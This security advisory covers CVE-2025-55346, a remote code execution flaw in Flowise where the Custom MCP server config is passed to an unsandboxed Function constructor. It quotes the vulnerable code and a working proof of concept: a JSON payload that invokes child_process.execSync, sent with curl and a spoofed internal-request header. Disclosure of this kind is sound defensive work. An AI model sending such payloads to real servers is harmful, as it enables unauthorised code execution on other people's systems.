Advisory

GHSA-hmgh-466j-fx4c

Also known as: CVE-2025-55346

Summary

Flowise vulnerable to RCE via Dynamic function constructor injection

Details

Summary
User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.

Details
When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:

{
	"command": "npx",
	"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}

Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):

{
...SNIP...

   "inputs":{
      "mcpServerConfig":{
         "command":"npx",
         "args":[
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/path/to/allowed/files"
         ]
      }
   },
   "loadMethod":"listActions"
   
...SNIP...
}

Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:

{
   "inputs":{
      "mcpServerConfig":"test"
   },
   "loadMethod":"listActions"
}

We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103):
https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103

async getTools(nodeData: INodeData): Promise<Tool[]> {
        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

        if (!mcpServerConfig) {
            throw new Error('MCP Server Config is required')
        }

        try {
            let serverParams
            if (typeof mcpServerConfig === 'object') {
                serverParams = mcpServerConfig
            } else if (typeof mcpServerConfig === 'string') {
                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
                serverParams = JSON.parse(serverParamsString)
            }

            const toolkit = new MCPToolkit(serverParams, 'stdio')
            await toolkit.initialize()

            const tools = toolkit.tools ?? []

            return tools as Tool[]
        } catch (error) {
            throw new Error(`Invalid MCP Server Config: ${error}`)
        }
    }
}

Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:

function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.

This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.

{
    "inputs":{
        "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
        },
    "loadMethod":"listActions"
}

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker
  1. Create a new file named payload.json somewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
  1. Send the following curl request using the payload.json file created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
  1. Observe that a new file named yofitofi is created under /tmp folder.

Impact
Remote code execution

Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2025-10-06 14:08 UTC
Modified
2025-10-06 14:57 UTC

Affected packages and fixes

flowise

npm · All systems

Affected

  • introduced 0, last affected 2.2.7-patch.1 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences